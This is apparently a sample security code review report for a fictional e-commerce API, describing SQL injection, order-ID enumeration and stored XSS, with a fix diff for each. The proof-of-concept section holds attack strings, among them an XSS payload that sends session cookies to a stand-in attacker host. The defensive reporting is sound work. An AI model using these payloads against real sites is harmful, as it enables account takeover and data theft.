Source Code Security Review

Security Code Review — acme-shop (SAMPLE)

Project	acme-shop (sample e-commerce API)
Source reference	commit `a1b2c3d` (main)
Date	2026-06-13
Reviewer	Dimas Maulana — AI Source Code Pentest
Classification	SAMPLE

> **This is a sample.** It shows the exact format of the report you receive — a CONFIDENTIAL cover, an executive summary, one block per finding with a worked proof-of-concept and a ready-to-merge fix, and a hardening section. The target below is fictional; no real system was tested.

1. Executive summary

Plain-English, for a non-technical reader.

- **What we reviewed:** the source code of *acme-shop*, a Node.js / Express + PostgreSQL e-commerce API (product search, accounts, orders, and product reviews).
- **Overall risk:** HIGH — a visitor can read other customers' data and, in the worst case, run commands against the database. All three issues have a ready-to-merge fix in this report.

Severity	Count
CRITICAL	1
HIGH	1
MEDIUM	1
LOW	0
INFO	0

Top risks (plain English):

1. The product search box talks to the database without quoting what you type, so a crafted search can read or change anything in the database (**SQL injection**).
2. Anyone logged in can view anyone else's orders just by changing the number in the URL (**broken access control**).
3. A product review can smuggle in a script that runs in other shoppers' browsers (**stored XSS**).

What to do next: apply the three patches below (each is a small, drop-in change), then add the hardening items. Re-test after deploying.

2. Scope & methodology

- **In scope:** application source at commit `a1b2c3d` — routes, database access, auth, and the review/render code.
- **Not reviewed:** third-party services, infrastructure, and live penetration testing.
- **Method:** AI-automated review of the source, tracing untrusted input (request params, body, headers) to dangerous operations, with each finding triaged by hand for real exploitability, plus dynamic checks that the program runs and behaves correctly. No live production or infrastructure testing. Absence of a finding is not a guarantee of safety.

3. Findings

Ordered by severity.

PENT-001 — SQL injection in product search

Field	Value
Severity	CRITICAL
Confidence	High
CWE	CWE-89: SQL Injection
Location	`src/routes/products.js:42`
Status	Open

- **Summary (plain English):** The search box builds a database query by gluing your typed text straight into the SQL string. A shopper can type database commands into the search box and the server will run them.
- **Data-flow:** source `req.query.q` → string concatenation → `db.query(sql)` sink.
- **Proof of concept / trigger:** request `GET /api/products?q=%27%20OR%201%3D1--` (i.e. `q=' OR 1=1--`) returns every product row regardless of the search term; the same opening can be escalated to read other tables (`UNION SELECT ...`).
- **Impact:** full read/!write access to the database — customer records, password hashes, and order data — without logging in.

Remediation (ready to merge):

```
--- a/src/routes/products.js
+++ b/src/routes/products.js
@@ -39,8 +39,11 @@ router.get('/products', async (req, res) => {
   const q = req.query.q || ''
-  const sql = `SELECT id, name, price FROM products
-               WHERE name LIKE '%${q}%'`
-  const { rows } = await db.query(sql)
+  // Parameterized query: the value is bound, never concatenated into the SQL.
+  const sql = `SELECT id, name, price FROM products
+               WHERE name LIKE '%' || $1 || '%'`
+  const { rows } = await db.query(sql, [q])
   res.json(rows)
 })
```

Follow-up: grep the codebase for other string-built queries (`db.query(\` ...${`) and convert them the same way; consider a lint rule that flags template-literal SQL.

PENT-002 — Broken access control on order details (IDOR)

Field	Value
Severity	HIGH
Confidence	High
CWE	CWE-639: Authorization Bypass Through User-Controlled Key
Location	`src/routes/orders.js:71`
Status	Open

- **Summary (plain English):** The "view my order" page looks up the order by the id in the URL but never checks that the order belongs to the person asking. Change the number and you see someone else's order.
- **Data-flow:** source `req.params.id` → order lookup with no ownership check → response.
- **Proof of concept / trigger:** log in as any user and request `GET /api/orders/1001`, then `/api/orders/1002`, `/1003`, … each returns the full order (name, address, items) of whoever owns it.
- **Impact:** any authenticated user can enumerate and read every customer's orders and shipping details.

Remediation (ready to merge):

```
--- a/src/routes/orders.js
+++ b/src/routes/orders.js
@@ -68,7 +68,11 @@ router.get('/orders/:id', requireAuth, async (req, res) => {
-  const { rows } = await db.query(
-    'SELECT * FROM orders WHERE id = $1', [req.params.id])
-  if (!rows[0]) return res.status(404).json({ error: 'not found' })
+  // Scope the lookup to the caller — an order that isn't theirs simply 404s.
+  const { rows } = await db.query(
+    'SELECT * FROM orders WHERE id = $1 AND user_id = $2',
+    [req.params.id, req.user.id])
+  if (!rows[0]) return res.status(404).json({ error: 'not found' })
   res.json(rows[0])
 })
```

Follow-up: apply the same `user_id` scoping (or a central authorization check) to every object-by-id route — invoices, addresses, downloads.

PENT-003 — Stored XSS in product reviews

Field	Value
Severity	MEDIUM
Confidence	High
CWE	CWE-79: Cross-site Scripting
Location	`src/views/review.js:18`

Field	Value
Status	Open

- **Summary (plain English):** A product review is shown on the page exactly as written, HTML and all. A reviewer can include a `<script>` that runs in every shopper who views that product.
- **Data-flow:** source review `body` (stored) → `el.innerHTML = review.body` sink on the product page.
- **Proof of concept / trigger:** submit a review with body `<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">`. Every visitor to that product page silently sends their session cookie to the attacker.
- **Impact:** session/account takeover of any shopper (including staff) who views the product; defacement.

Remediation (ready to merge):

```
--- a/src/views/review.js
+++ b/src/views/review.js
@@ -15,7 +15,8 @@ export function renderReview(el, review) {
   el.querySelector('.author').textContent = review.author
-  // Renders the review as HTML — any markup in it executes.
-  el.querySelector('.body').innerHTML = review.body
+  // textContent treats the review as text, so markup is shown, not executed.
+  el.querySelector('.body').textContent = review.body
 })
```

Follow-up: if reviews need limited formatting, render Markdown through a sanitizer (e.g. an allowlist of tags) rather than raw HTML; add a Content-Security-Policy header.

---

4. Findings summary

ID	Title	Severity	Confidence	Status
PENT-001	SQL injection in product search	CRITICAL	High	Open
PENT-002	Broken access control on order details	HIGH	High	Open
PENT-003	Stored XSS in product reviews	MEDIUM	High	Open

5. Hardening & defense-in-depth

Not directly exploitable, but recommended. Lower priority than the findings above.

- Add a **Content-Security-Policy** so that even if markup slips through, inline scripts are blocked.
- Put a central **authorization layer** in front of object-by-id routes instead of per-route checks, so a forgotten check fails closed.
- Enforce **rate limiting** on login and search to slow brute-force and injection probing.
- Store passwords with a slow hash (bcrypt/argon2) and set **HttpOnly, Secure, SameSite** cookies.
- Add automated checks to CI: a SQL-template lint rule and a dependency audit.

Appendix — Scope & disclaimer

Files reviewed (source `a1b2c3d`): sample scope.

```
src/routes/products.js
src/routes/orders.js
src/views/review.js
src/db.js
```

Source review plus dynamic functional checks, on a best-effort basis; no live production systems were tested or modified. Test each patch before deploying. This document is a **SAMPLE** that demonstrates the report format; real engagements are delivered as **CONFIDENTIAL**.

Prepared by Dimas Maulana — AI Source Code Pentest — 2026-06-13.